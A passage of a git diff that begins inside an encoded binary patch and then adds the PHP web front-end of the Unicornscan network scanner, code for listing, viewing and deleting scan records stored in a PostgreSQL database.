z;mOJA%jVwStZCSf%~;#&Q3;Ruiq{|bmvPxEmE^+%r(QWZ)!gd%wfsw!uIknY>j+&O?IF#rc$kRhIE-sn6W&2iAc_-5M zhVfPe^zV*uxe@4}{^unl zz2R^yD^&DHw?+FpR_74Jkd(;DQ3>QNIT8Tgbs*0L9Pi-Py8>?AQ-k7)9G)X`$cQ3#GTV(NWrHXhUjU=a6=9IUr0;iwcuQv=6hO%yBE?8yjb;TfCoc3M zIgjY4|3$#`_AJkxT|w;3*c35cn=@KALtgn=)=)0P#~LA35$=QGvIZ@ z5;g+k;~Uly-IJTe9`TCeQUWG*qDcofO|KL7`SLgH1MY2XbY~NQbq6X{Jo`C74xYzu zd@x!=+B2j{;{E0p0STcy3CApGiht{50;dXL4D|rbBa&FX@gOP`B=VX+VQ5JBB*=tZ zxkg4Sm+l@Q$PMOC55$Qw{45v}RP=K%u+BI=OrYcPVp`vJL2 z3_=WD3l&AoF?|Gpd;uSBAdSInfx-{PV1I_v8dsZ5xxHRATGt*J-q^=OTMZ9|YkVs- zmpc^68AVal5}<{%KO7H?e1~$XAhk7ms*CxiBRG1)xPc(zzW;>+U<3z8ZncY`>(2u3 zHk!e*_@fOyK4>qaj$#I=?n#^W5^W{i5VXR$HXU3Dp#Zy2$(aTI7rYQ<>R1ynhb|mP zF!OyH`~~l16IO&BAdu&$_Z$wD;DX*4BaciCP@Ioumse(!TR87=mko<%Dt#yo9>ZM* zCER5i|NN67Ekt3}x7BINf17^W9A0_a`sGoTy%=qnkKr;G51%@?>M z7&a-Ys*4~^G6orJ)Ph{tEk>8U!A&uv7$7u~4-9zKQ8x6cS}*J&fRTO}pf|<61%tB& zHw*&;F3-R}PXK zxSMAlIs7Yo6}B}YK9KvN$n0?rHW3D*mb zUb{xcQ)dXl!J?cB3j`SKTf~%$cr4$u3#V~yi_4Q!km}K{ksPY^&Wt!YWQVfbH3*Pw zT9g_tk)6fEQ2_m50ac8?gIK-ifVDBkMgXQD#^ABI(SzZ5dh0F|ol9~Y5^Qrg#j-sj zuJp%qMzWS+I~z8VG<&pvB;!2}r=oDi9|MyN2#b4ywgzd01hpnu5LhZXLHH!IV#}r% zkf-FFe00%cabu(KI1`@leLB-QdK7vXdQ2NdviM7n{^@kxjv+OCJpt;aMvu1P}# zs?Lhej7}=2YS z<*m5ES<8^B>G8$sL5rWEco_<7W}ja8{DU#|GbN;drksSSW-d)sum(9x@O@$;y2-qW z{0ytQiR}@EM8D+ORO2p@b5)WdrdQIPoG}Fb;EtBheRn5NT=Fb5mpbagfB$}8(rO=d_BMX6-!FRSv7NeJCP<{@T_#8-YsJfA6U6!*oii62C z)mbj%soP1nkr)}wayFs^-8=$R!?+?9bsBm%S0QS6d55q#X=r~2Gm?Lz=>2^@ryb8b z^Y5YnQO;YY1S&>+-ha3Ne#P`|Qe zK}&^#94W>N4*PgQm6lVNII0rToupKJ_*<(3sT2I1Q+O0ihkpD{mzVGJs*vxJ(}{jE zuUZc_tzAjJTUE04JGM?o>3JA*^px8qRgZkcmEnX5ERiPERS%SUNCVm8;Z=|i83dvw z$aanpdw^0P?1xL#2F=DPZJ!8(ONhh!td+d+V-$yBn0WV%3X_;ZHgtVbQ?Nb?O*n)l zM-tojG4~4zr0D^O&Oz%KH1>zFQ7@#$yao;-U4WXM$+GJ9LnC zVxJ^p+`>w&BkPwf*YhHml}1OGwL!UpV84P~pIk{j(4@#N=rwUAY+YF9=IHJjNj2u% zdJDVKXHj2Jcn|3~N1?sJF0*iUJ3{8k)v^0DBfk~|5 z2GdQe^YUB);YR7{8X1h{FhJ=o&GXs{Kv{rB!PYdYZi;FYMb$8Ay|`U_HVuz6Fcd_v z3}aP@j!9P^;~XDW|AkEcP#u8D`!$#eD+!li3|G8IbNMVYsyy~d55-}h?2g#rT>9a; ziS_F%j7sHODca24DME}Q^U|PjTM3_L!$BTp58k=%%V8I79?`u*S$u;cjho$)zF2W2 zDxU0M;A~vM4Apo3&Q&k%ab)gWd*eFnN<+!g&I!&wwl>+4=jq~dx@FZ+uhNw?$B}L5Ebe=t%$TbplLhG3yZIGA~4SL?o_P(+_ zvNLC1#JzCa4x-B)(tl@(;b*uMHKkdqU|w z*R)GL5?w|99%y;h6;2B&109h|lpcfekW7x`*+RXpb>gxu0W7!-p6=+)WtC_&`RL^m zT-7Q?a;I5QE>#hA5ngu49e6=5a;P^)iI~wfAsn5!P@ikw1R^sFJWzwlHSHT1%!ITF zo!?UUJykS0yzf1))z>X@P0Mxxl}muSH<1$2ZJ3b87!z8o$0=A;)OA1GXQY&@GE-5i zVIW5tDA`(&{m3o$?8ic&`aUL+ltF89A#Cn+GQc}m#pMN&ot-ldG3o+MuQy^9YlEL;PFME}KxILDSww9F7{=urGuu z|AxOU*#YVBI1XmLXj6dCMsNuGU__h9C({ITeaXVcM3ke@#+9!wR``5S`X4O0NuqAC zx<&sLO-O>Y&Pa@YKW#wIpT>-Vxz0d_E~QPTF9ND@I(uPGE)h!1r(U%)R}YxO#F zZ6v~Y?((dv>UEnnfLRQYWuTERqc{1SNvkr?ZJcWzclHjO?RK+7U}G~P-I{(&Au-{V z4!We?yqsI_Wp2H_x%Kv(dUr!ibhq%j1H7d}s$YHo&3jKGH5Ds-Lgwnq6cRmnZl9r! zqU0~Z0OsQgKwqRCW-9i7JUQF009okEdd7iwDxVCEhvpx*6aai4;^5^U$6j5 zWNWfLPsy+vU?QckP+YRBR34Zf$`nRHW2#-Otag)CAfKsL(>gu}x$fNC*@Dye$2yS5 zAAdS6Z+Uys2%UJX6ncQcZ;xAhC;JDq*$|y>{7H{Iu3)Mc;UJvet^k=I_ue$mazMlA zHf;j+#IIa*WBS(per{JryrAbBWx4Ca)=FXZ9M#wdqW>T$ z#WB#-eu?^rb@`?ZhXQq0_Fk~fIRTBw_wc!Lm7(usSWI)`;lb;hZcMM=I5#kv=vz^_a!jSwKqd!rW-!G%EW=_S71Sr%sc}S!zXq zgqKPYq7Q4Nj{kE>!f@0mmzq&PxnBmimMX#Kqbqij3&bO~nVwAiThZxoAOXFHj)Q4y z)Q?JK8I`x^#0 zMA!O*Hd0BVuu_cfC;`oCjg(IwanMu6C2AKfiCiiYaB><4?@L5WU}@EQsR32I2X?3B zB}7qUF#;z?DSTdSc;R=M^WtEsg*E0~OBx8_uUoCtCc|qhjp>Y03{-onS0gp5oY{pmj*GH{dee(EmUi_z8{Yky%dAm=ZJgIM2w|A=W zXs25LlK=g){QTuB@6km#dK6z3{!;jhC(G|`>Q6o;1D*IFIWm(#5@gSx`WSx!s+@C5 zEacNEF3eB0+Sy~TGz_PYX47!+h-<|Pv$o=^@)q@F;zVI?dF3+-q$&ovbruIxU~O7Z zDV)xxB;}q5-K$YFh%Rrb{;7^8gGU`ys1R#b;TTTvR|g3S_~IfCP;cvmt&v3E(3%^F z2*nJ%z!=XaWAvVZI;aYUF#;$?Qwc?cepUSd^(}T}C}?b6%J%U%@F@rqLKj|#T1)M- z=ca08PJVea^Hi(iG>fY0#H1>w8(Vj9wAI==-=d2cm699>X9ZGEANFYxQ1x@^8)GlHusvuV5j}fG7g$~W|We-Vy z>8$dJ<-@2uQ`Sq!Iu(61ttsMgWQdp&36+?bRBK3{%oxW57yDMw71oR9Og#}&dxly% zS`RO}raKRX@D=j1nFQA`6=><7IKg%91|aHDfP3CNU3BlFC{t)sikg|hfEI)|Bb5oU zjhicS(>h;g0y1IhMd9>$@$27JUz;C_)IVC);|{opqXAMLfZSD#x-xY2<~G=K>M9swL3li& zLJbvEEErvHdDs2~Cp5gq*1lV2Pp^P<=@)N~PWJg7KBm{v z&B(ky`SDm@!()1VIWf(?d3`1=<70S@%b{Omj3j1 z-}YN)JO_M?;F`h)i7~VdX0$|#^1N6y4?F(k5+C3?cZWS_gP|caAxbt8^>0#N+gv8hNbU(R` zMA(Re+1DCLR%_%E8&SaiTBFixjl^ZotkTyS;TFMc`W(a-jWh_lf6|_ZW%$Fx^JqPO z1ce?wTL0&QmM)x@G)`tTcdOh0H!% zgJU8bA$cQmEr)W@gY^mC!#Pwd@DvDfVF0>a!DzEtxOEyY^jTPw&BmJVU%btp_cgpU zCD+t8dZvT0s3$~9Fy%9M4)pg&Kcpj2yKw*nFHlJ}4Z2ekL$Ua^G~wYGsKe=ST*R{u zPM97vG$iJUolZDOS~Lj*)n1o9sg<$L4SBi2^MK$&L3A$so`+0vpSvhA|1^tLXJuLw z;DusL*sxVl)0gs_5kUe!0@es5m?{Vm-1YIeY%e122U!x}tuXnltPTQ6ff!c>UMiH7 z#?$NFgF`bMF;iSP9{sxUb*0jX zE06fk|M|MIRRP)p(?_Pva#IyutA?xwDlav#3xDy1!$&`QM13E#zY`O79Qjw?D?s2L zj0%{i;X7GpXvJoU+NkpzL>x{RFFc5ejFmh6EXHUBc+73_{{9MKN&tk0ih9qA`Bm#x z`}z7>VZDGKfCqp-n_vHKUVcC>ATlpMAWz-KWs9$1kZiPe1z;SYEn)llBih!quAKH~ zi&|d)X1#!X-=-&E{+-A3!G`t!e)PY;`QMl8^5y@01K$D6(s#t27myJ{cK7-Ex;g5< z{)@K>Tx!+()uWSsO_ze2>hp)Mf3HCcYfN$l-vm0QP!ZcGh-4eYB9>BSxOMj6{5$Fuh<+JZ8`g-Ure<^?u_)8jwWMHLNaIR!5Q zZ&)O^s2xljk!}F9gF`OB_=qFr)~E<_!8vE}>B`fyj}#(=ARGq6F*6@jUPuxKg8?Z` zQ$qwWAF$7bEIs-Q;``RuU;l*~L&ZuoF&A;BMX`0Deq&OuyJ>?GQXh}=*prIElpT58v-C>Fd>JM3^XdjDL1eW{Vju%B*hZe36`s^ zM#GarB-d($O_eMZWDo^n=&GyUq9pbIgF$!e9##MJGe7@>w^QAI?0HY>+dEHoA6M&j zz7p8}qW}LKKRGEIwksxa!;}ByG!4(ZQmyP{TW~TUU|ac_7t)G%f8t-lae<*#DOvy~ z7J&L76_x4~z&x2>K|9;pzJ{0Z37{1gg&HBj0vi!Ark?qju` zyxE<#AJ=NhYV?q*<@MHTpFFKspQa|rkFn~LysA8#>^Wk^r+F3I$ITQ(@flX~{oF
    \n"; + $t->print_tbl(); + print "
    \n"; + } + + function get_var($var) { + if (isset($_REQUEST[$var])) { + $_SESSION[$var]=$_REQUEST[$var]; + return $_REQUEST[$var]; + } + else if (isset($_SESSION[$var])) { + return $_SESSION[$var]; + } + + return false; + } + + function delete_record($id) { + global $db, $PHPLIB; + + $query="select * from uni_ipreport where ipreport_id=".(int )$id; + $db->aquerydb($query); + if ($db->numrows != 1) { + print "cant find that record
    \n"; + return; + } + + $query="delete from uni_ippackets where ipreport_id=".(int )$id; + $db->aquerydb($query); + + $query="delete from uni_ipreportdata where ipreport_id=".(int )$id; + $db->aquerydb($query); + + $query="delete from uni_ipreport where ipreport_id=".(int )$id; + $db->aquerydb($query); + + print <<Deleted iprecord $id + + +EOF; + } + + function get_ouiname($e, $f, $g) { + + $device_type="Unknown"; + + $fp=fopen("/usr/local/etc/unicornscan/oui.txt", "r"); + if ($fp) { + while ($tmpstr=fgets($fp)) { + if (sscanf($tmpstr, "%02x-%02x-%02x:%[^\n]", $a, $b, $c, $d) == 4) { + if ($e == $a && $f == $b && $g == $c) { + + $device_type=$d; + } + } + } + fclose($fp); + } + + return $device_type; + } + + function display_host($ip) { + global $db, $PHPLIB, $cookieupdate; + + $scansel=""; + $filt=""; + + $device_type="unknown"; + $mac=""; + + $slink="_escape_string($ip)."'"; + $db->aquerydb($query); + } + else { + $rest=substr($ip, 4); + if (sscanf($ip, "mac:%02x:%02x:%02x", $e, $f, $g) == 3) { + $device_type=$slink."mac:".urlencode(sprintf("%02x:%02x:%02x", $e, $f, $g))."\">".get_ouiname($e, $f, $g)." \n"; + } + } + + if ($db->numrows == 1) { + $db->data_step(); + + if (sscanf($db->resultarr[0], "%02x:%02x:%02x:%02x:%02x:%02x", $e, $f, $g, $h, $i, $j) != 6) { + $mac=", bad"; + } + else { + $device_type=$slink."mac:".urlencode(sprintf("%02x:%02x:%02x", $e, $f, $g))."\">".get_ouiname($e, $f, $g)." \n"; + $mac=", ".$slink."mac:".urlencode($db->resultarr[0])."\">".htmlspecialchars($db->resultarr[0]). "\n"; + } + } + + print "
    Host ".htmlspecialchars($ip)." (".$device_type." ".$mac.")
    \n"; + + $query="select * from uni_ipreport "; + + if (strncasecmp($ip, "mac:", 4) == 0) { + $where="host_addr in (select distinct host_addr from uni_arpreport where hwaddr::varchar like '".$db->_escape_string(substr($ip, 4))."%')"; + } + else { + $where="host_addr <<= '".$db->_escape_string($ip)."'"; + } + + $rsb=get_var("_sortby"); + if ($rsb == false) { + $sb=9; + } + else { + $sb=(int )$rsb; + } + + $rorder=get_var("_order"); + if ($rorder == false) { + $rorder=1; + } + + $rlimit=get_var("_limit"); + if ($rlimit != false) { + $limit=(int )$rlimit; + } + else { + $limit=30; + } + + $roffset=get_var("_offset"); + if ($roffset != false) { + $offset=(int )$roffset; + } + else { + $offset=0; + } + + switch ($sb) { + case 0: + $order_by="scans_id"; + break; + case 1: + $order_by="proto"; + break; + case 2: + $order_by="sport"; + break; + case 3: + $order_by="dport"; + break; + case 4: + $order_by="type"; + break; + case 6: + $order_by="host_addr"; + break; + case 7: + $order_by="trace_addr"; + break; + case 8: + $order_by="ttl"; + break; + case 9: + $order_by="tstamp, utstamp"; + break; + case 10: + $order_by="tseq"; + break; + case 11: + $order_by="window_size"; + break; + case 12: + $order_by="t_tstamp"; + break; + default: + $order_by="tstamp"; + break; + } + + if ($rorder == 2) { + $query .= " where ".$where." order by ".$order_by." asc limit ".$limit." offset ".$offset; + $oorder="&_order=1"; + } + else { + $query .= " where ".$where." order by ".$order_by." desc limit ".$limit." offset ".$offset; + $oorder="&_order=2"; + } + + print "
    Search Query `".htmlspecialchars($query)."'
    \n"; + $db->aquerydb($query); + $nr=$db->numrows; + + $t=new tableclass(); + $t->set_width("96%"); + + $link=" scanid".$elink; + } + else { + $_1=$link."&_sortby=0\"> scanid".$elink; + } + + if ($sb == 2) { + $_2=$link."&_sortby=2".$oorder."\"> port". $elink; + } + else { + $_2=$link."&_sortby=2\"> port". $elink; + } + + if ($sb == 4) { + $_3=$link."&_sortby=4".$oorder."\"> type". $elink; + } + else { + $_3=$link."&_sortby=4\"> type". $elink; + } + + if ($sb == 6) { + $_4=$link."&_sortby=6".$oorder."\"> host". $elink; + } + else { + $_4=$link."&_sortby=6\"> host". $elink; + } + + if ($sb == 7) { + $_5=$link."&_sortby=7".$oorder."\"> trace". $elink; + } + else { + $_5=$link."&_sortby=7\"> trace". $elink; + } + + if ($sb == 8) { + $_6=$link."&_sortby=8".$oorder."\"> ttl". $elink; + } + else { + $_6=$link."&_sortby=8\"> ttl". $elink; + } + + if ($sb == 9) { + $_7=$link."&_sortby=9".$oorder."\"> tstamp". $elink; + } + else { + $_7=$link."&_sortby=9\"> tstamp". $elink; + } + + if ($sb == 10) { + $_8=$link."&_sortby=10".$oorder."\"> seq". $elink; + } + else { + $_8=$link."&_sortby=10\"> seq". $elink; + } + + if ($sb == 11) { + $_9=$link."&_sortby=11".$oorder."\"> win". $elink; + } + else { + $_9=$link."&_sortby=11\"> win". $elink; + } + + $t->add_header("View", + $_1, + $_2, + $_3, + $_4, + $_5, + $_6, + $_7, + $_8, + $_9, + "banner", + "os" + ); + + for ($j=0; $j < $nr; $j++) { + $db->data_step(); + $ret[$j]=$db->resultarr; + } + + for ($j=0; $j < $nr; $j++) { + + $ipreportid=$ret[$j]["ipreport_id"]; + + $query="select data, type from uni_ipreportdata where ipreport_id=".$ipreportid; + + $banner=""; + $os=""; + + $db->aquerydb($query); + for ($j1=0; $j1 < $db->numrows; $j1++) { + $db->data_step(); + if ($db->resultarr[1] == "1") { + $banner=htmlspecialchars($db->resultarr[0]); + } + else if ($db->resultarr[1] == "2") { + $os=htmlspecialchars($db->resultarr[0]); + } + } + + $query="select ipreport_id from uni_ippackets where ipreport_id=".$ret[$j]["ipreport_id"]; + $db->aquerydb($query); + + if ($db->numrows == 1) { + $link="Pkt ". + "Del"; + } + else { + $link=" "; + } + if (strcmp($ret[$j]["host_addr"], $ret[$j]["trace_addr"]) == 0) { + $taddr="..."; + } + else { + $taddr=$ret[$j]["trace_addr"]; + } + + $ha=""; + $hb=""; + + $t->add_row( + $link, + (int )$ret[$j]["scans_id"], + (int )$ret[$j]["sport"], + type_tostr($ret[$j]["type"], $ret[$j]["subtype"], $ret[$j]["proto"]), + $ha.htmlspecialchars($ret[$j]["host_addr"]).$hb, + htmlspecialchars($taddr), + (int )$ret[$j]["ttl"], + strftime($PHPLIB["time_format"], (int )$ret[$j]["tstamp"]), + sprintf("0x%08x", $ret[$j]["tseq"]), + (int )$ret[$j]["window_size"], + $banner, + $os + ); + } + + print "
    \n"; + $t->print_tbl(); + } + + function display_except($scanids) { + global $db; + + $query=""; + + $scan_str=""; + for ($j=0; $j < count($scanids); $j++) { + $scan_str .= " ".$scanids[$j]; + } + + print "Differences from scans ".$scan_str."
    \n"; + + for ($j=0; $j < count($scanids); $j++) { + if (strlen($query) == 0) { + $query="select distinct sport, type, subtype, proto, host_addr, trace_addr from uni_ipreport where scans_id=".(int )$scanids[$j]." "; + } + else { + $query .= " except select distinct sport, type, subtype, proto, host_addr, trace_addr from uni_ipreport where scans_id=".(int )$scanids[$j]." "; + } + } + + print htmlspecialchars($query); + $db->agetassarr($query); + $nr=$db->numrows; + + $t=new tableclass(); + $t->add_header("Port", "Host", "Type", "Trace"); + + for ($j=0; $j < $nr; $j++) { + $db->data_step(); + $t->add_row( + $db->resultarr["sport"], + $db->resultarr["host_addr"], + type_tostr($db->resultarr["type"], $db->resultarr["subtype"], $db->resultarr["proto"]), + $db->resultarr["trace_addr"] + ); + } + + $t->print_tbl(); +/* +select distinct sport, scans_id, type, subtype, proto, host_addr, trace_addr from uni_ipreport where scans_id= +*/ + } + + function display_record($id, $dele) { + global $db, $PHPLIB; + + $query="select * from uni_ipreport where ipreport_id=".(int )$id; + $db->aquerydb($query); + if ($db->numrows != 1) { + print "cant find that record
    \n"; + return; + } + $db->data_step(); + + $scans_id=(int )$db->resultarr["scans_id"]; + $sport=(int )$db->resultarr["sport"]; + $dport=(int )$db->resultarr["dport"]; + $type=type_tostr($db->resultarr["type"], $db->resultarr["subtype"], $db->resultarr["proto"]); + $send_addr=$db->resultarr["send_addr"]; + $host_addr=$db->resultarr["host_addr"]; + $trace_addr=$db->resultarr["trace_addr"]; + + if ($db->resultarr["proto"] == IPPROTO_ICMP) { + $type .= " (".icmp_tostr($db->resultarr["type"], $db->resultarr["subtype"]).")"; + } + + $ttl=(int )$db->resultarr["ttl"]; + $tstamp=(int )$db->resultarr["tstamp"]; + $utstamp=(int )$db->resultarr["utstamp"]; + $seq=sprintf("0x%08x", $db->resultarr["tseq"]); + $window_size=(int )$db->resultarr["window_size"]; + + $tstr=strftime($PHPLIB["time_format"], $tstamp); + + print << +ScanID: $scans_id +Source: $send_addr:$dport +Dest: $host_addr:$sport (trace $trace_addr) +Type: $type +TTL: $ttl +Time: $tstamp.$utstamp ($tstr) +Seq: $seq +Win: $window_size + + + +EOF; + $query="select packet from uni_ippackets where ipreport_id=".(int )$id; + $db->aquerydb($query); + if ($db->numrows != 1) { + return; + } + $db->data_step(); + + $data=pg_unescape_bytea($db->resultarr[0]); + + $arr=unpack('C*', $data); + + $hex=""; $cnt=0; + for ($j=3, $cnt=0; $j < count($arr); $j++, $cnt++) { + if ($cnt != 0 && ($cnt % 16) == 0) { + $hex .= "\n"; + } + $hex .= sprintf("%02x ", $arr[$j]); + } + + for ($j=3, $cnt=0; $j < count($arr); $j++, $cnt++) { + if ($cnt != 0 && ($cnt % 16) == 0) { + $ascii .= "\n"; + } + if (ctype_graph($arr[$j])) { + $ascii .= htmlspecialchars(sprintf("%c", $arr[$j])); + } + else { + $ascii .= "."; + } + } + + print << + + + + + +
    $hex$ascii
    + + + +EOF; + + if ($dele == 1) { + $f2=new formclass(); + $f2->new_title("delete record"); + $f2->new_desc("are you sure"); + $f2->set_default("action", "viewdata"); + $f2->new_input("select", "action", "delrecordsure:yes,viewdata:no"); + $f2->add_hidden("ipreport_id", $id); + $f2->print_form(); + } + else { + print << + Delete +
    +EOF; + } + } + + function display_dbstats() { + global $db, $PHPLIB; + + $query="select distinct host_addr from uni_ipreport where host_addr not in (select distinct host_addr from uni_arpreport)"; + $db->aquerydb($query); + + $t=new tableclass(); + + $t->add_header("Hosts with no known mac address"); + for ($j=0; $j < $db->numrows; $j++) { + $db->data_step(); + $t->add_row(htmlspecialchars($db->resultarr[0])); + } + + $t->print_tbl(); + + return; + } +?> diff --git a/www-front-end/header.php b/www-front-end/header.php new file mode 100644 index 0000000..ab8f258 --- /dev/null +++ b/www-front-end/header.php @@ -0,0 +1,20 @@ + + + + + + Unicornscan FE + + + + +EOF; + + require("./menu.php"); + +?> diff --git a/www-front-end/index.php b/www-front-end/index.php new file mode 100644 index 0000000..3c77d5c --- /dev/null +++ b/www-front-end/index.php @@ -0,0 +1,167 @@ + 0; $tok=strtok(",")) { + $scanids[$scanid_off++]=(int )$tok; + } + } + } + + if (strlen($action)) { + if ($action == "view") { + $scans=get_scans($scanids); + display_scans($scans); + } + else if ($action == "delete") { + $f=new formclass(); + $f->new_title("Delete Scan Data"); + $f->new_row(); + $f->new_desc("are you sure?"); + $f->new_input("select", "action", "view:no,delete_2:yes"); + + $f->new_row(); + for ($j=0; $j < count($scanids); $j++) { + $f->add_hidden("scan_".$scanids[$j], "on"); + } + $f->print_form(); + + $scans=get_scans($scanids); + display_shortscans($scans, 0); + } + else if ($action == "delete_2") { + for ($j=0; $j < count($scanids); $j++) { + print "Deleting Scan ".$scanids[$j]."
    \n"; + delete_scandata((int )$scanids[$j]); + } + print "\n"; + } + else if ($action == "viewdata") { + display_scandata($scanids); + } + else if ($action == "displayrecord") { + display_record($_REQUEST["ipreport_id"], 0); + } + else if ($action == "delrecord") { + display_record($_REQUEST["ipreport_id"], 1); + } + else if ($action == "delrecordsure") { + delete_record($_REQUEST["ipreport_id"]); + } + else if ($action == "viewhost") { + display_host($_REQUEST["_ipaddr"]); + } + else if ($action == "except") { + display_except($scanids); + } + else if ($action == "stats") { + display_dbstats(); + } + else { + print "Error, dont know what to do?
    \n"; + } + } + else { + $scans=get_scans(); + display_shortscans($scans, 1); + } + + require("./trailer.php"); + exit; + + function display_scans($scans) { + for ($j=0; $j < count($scans); $j++) { + print "

    scan ".$scans[$j]["scans_id"]."

    \n"; + display_scan($scans[$j]); + } + } + + function display_shortscans($scans, $doform) { + + print << +EOF; + if ($doform) { + print << +EOF; + } + + print << + + + + + Start Time + + + Est End Time + + + End Time + + + Hosts + + + Packets + + + Type/PPS + + + Hosts + + +EOF; + + for ($j=0; $j < count($scans); $j++) { + print get_short_scan($scans[$j], $doform); + } + + if ($doform) { + print << + + + + + + + + + + + + + + + +EOF; + } + print << +EOF; + } /* display short scans */ +?> diff --git a/www-front-end/lib/.htaccess b/www-front-end/lib/.htaccess new file mode 100644 index 0000000..e69de29 diff --git a/www-front-end/lib/connect_todb.php b/www-front-end/lib/connect_todb.php new file mode 100644 index 0000000..3869e5a --- /dev/null +++ b/www-front-end/lib/connect_todb.php @@ -0,0 +1,42 @@ + * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ + +if (!(defined("connect_todb_include"))) { + define("connect_todb_include",1); + + global $PHPLIB; + + require($PHPLIB["filesystem_mylib"].$PHPLIB["database_type"]."dbclass.php"); + + if ((!(isset($db)))||(!(is_object($db)))) { + $db=new oop_db(0); + } + + $db->username=$PHPLIB["database_username"]; + $db->password=$PHPLIB["database_password"]; + $db->server=$PHPLIB["database_host"]; + $db->dbconnect(); + + $db->select_db($PHPLIB["database_name"]); + if (isset($PHPLIB["database_db"])) { + $PHPLIB["database_db"]=$db; + } +} +?> diff --git a/www-front-end/lib/formclass2.php b/www-front-end/lib/formclass2.php new file mode 100644 index 0000000..4f5924b --- /dev/null +++ b/www-front-end/lib/formclass2.php @@ -0,0 +1,933 @@ + * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ + +if (!(defined("formclass2_include"))) { + define("formclass2_include",1); + + global $PHPLIB; + +class formclass { + var $action; + var $method; + var $enctype; + var $proto; + + var $NORESET; + var $max_cols; + + var $inputs; + var $row_cnt; + var $col_cnt; + var $row_tmpnum; + + var $prepend_done; + var $prepend; + var $prerow_cnt; + var $precol_cnt; + var $prerow_tmpnum; + + var $hidden; + + var $outbuf; + + var $row_class_toggle; + + var $form_extra; + var $table_extra; + var $defaults; + + var $default_method; + + var $warnimage; + + var $validate_errors; + var $invalid_arr; + var $error_str1; + var $error_str2; + var $reconstructed_vars; + + var $form_align; + + var $shutdown_code; + + var $tmpfile_init; + var $tmpdir; + var $tmpfile; + + function formclass($pDEBUG=0) { + global $PHPLIB, $NORESET; + if ($NORESET == 1) { + $this->NORESET=1; + } + + $this->inputs[0][0]=""; + $this->row_cnt=0; + $this->col_cnt[0]=0; + $this->row_tmpnum=0; + + $this->prepend_done=0; + $this->prepend=array(); + $this->prerow_cnt=0; + $this->precol_cnt[0]=0; + $this->prerow_tmpnum=0; + + $this->max_cols=0; + + $this->enctype="application/x-www-form-urlencoded"; + $this->method="post"; + $this->action=$_SERVER["PHP_SELF"]; + $this->row_class_toggle=0; + $this->table_extra=""; + $this->table_css_class="table"; + $this->form_css_class="form"; + $this->form_align="center"; + $this->form_extra=""; + $this->defaults["formclass_version"]="2.0"; + + if (isset($PHPLIB["formclass_warnimage"])) { + $this->warnimage=$PHPLIB["formclass_warnimage"]; + } + else { + $this->warnimage="exl.gif"; + } + + $this->validate_errors=array(); + $this->invalid_arr=array(); + $this->reconstructed_vars=array(); + $this->error_str2="Please correct the following fields in highlighted below"; + } + + function reset() { + /* this is somewhat stupid but sometimes useful */ + $this->formclass(); + } + + /* XXX FIXME this function could be a security hole */ + function reconstruct_post_vars() { + if ($_SERVER["REQUEST_METHOD"] != "POST") { + return; + } + + for ($j=0 ; $j < count ($this->inputs) ; $j++) { + for ($j1=0 ; $j1 < count($this->inputs[$j]) ; $j1++) { + $input_name=$this->inputs[$j][$j1]["name"]; + if (!(strlen($input_name))) continue; + // XXX Alright here is how this will work + // if there is a POST var with the same name + // as an input but it has a _a appended then loop + // and cat data from a-z till the _? is unset + if (!(isset($_POST[$input_name."_a"]))) continue; + // if we passed that "check" then its time to + // reconstruct the input value from the _a-z vars + $reconstructed=""; + switch ($this->inputs[$j][$j1]["type"]) { + case 'datetime': + $reconstructed=$_POST[$input_name."_a"]. + "/".$_POST[$input_name."_b"]. + "/".$_POST[$input_name."_c"]. + " ".$_POST[$input_name."_d"]. + ":".$_POST[$input_name."_e"]. + " ".$_POST[$input_name."_f"]; + break; + case 'date': + $reconstructed=$_POST[$input_name."_a"]. + "/".$_POST[$input_name."_b"]. + "/".$_POST[$input_name."_c"]; + break; + case 'time': + $reconstructed=$_POST[$input_name."_a"]. + ":".$_POST[$input_name."_b"]. + " ".$_POST[$input_name."_c"]; + break; + case 'percent': + $reconstructed=$_POST[$input_name."_a"]. + ".".$_POST[$input_name."_b"]; + break; + case 'ipaddress': + $reconstructed=$_POST[$input_name."_a"]. + ".".$_POST[$input_name."_b"]. + ".".$_POST[$input_name."_c"]. + ".".$_POST[$input_name."_d"]; + break; + case 'money': + $reconstructed="$". + $_POST[$input_name."_a"]. + ".".$_POST[$input_name."_b"]; + break; + default: + trigger_error("Unknown reconstruction type ".$this->inputs[$j][$j1]["type"],E_USER_WARNING); + } + if (strlen($reconstructed)) { + $this->reconstructed_vars[$input_name]=$reconstructed; + } + } + } + } + + function get_data() { + $this->reconstruct_post_vars(); + $arr=$_REQUEST; + @reset($this->reconstructed_vars); + while (list($key,$value)=each($this->reconstructed_vars)) { + $arr[$key]=$value; + } + return $arr; + } + + function new_desc($desc,$extra="",$visu="") { + $rows=$this->row_cnt; + $cols=$this->col_cnt[$this->row_cnt]; + + $this->inputs[$rows][$cols]["type"]="desc"; + $this->inputs[$rows][$cols]["name"]=""; + $this->inputs[$rows][$cols]["desc"]=$desc; + $this->inputs[$rows][$cols]["extra"]=$extra; + $this->inputs[$rows][$cols]["visu"]=$visu; + ++$this->col_cnt[$this->row_cnt]; + } + + function prepend_desc($desc, $extra="", $visu="") { + $rows=$this->prerow_cnt; + $cols=$this->precol_cnt[$this->prerow_cnt]; + + $this->prepend[$rows][$cols]["type"]="desc"; + $this->prepend[$rows][$cols]["name"]=""; + $this->prepend[$rows][$cols]["desc"]=$desc; + $this->prepend[$rows][$cols]["extra"]=$extra; + $this->prepend[$rows][$cols]["visu"]=$visu; + ++$this->precol_cnt[$this->prerow_cnt]; + } + + + function new_title($desc,$extra="",$visu="") { + $rows=$this->row_cnt; + 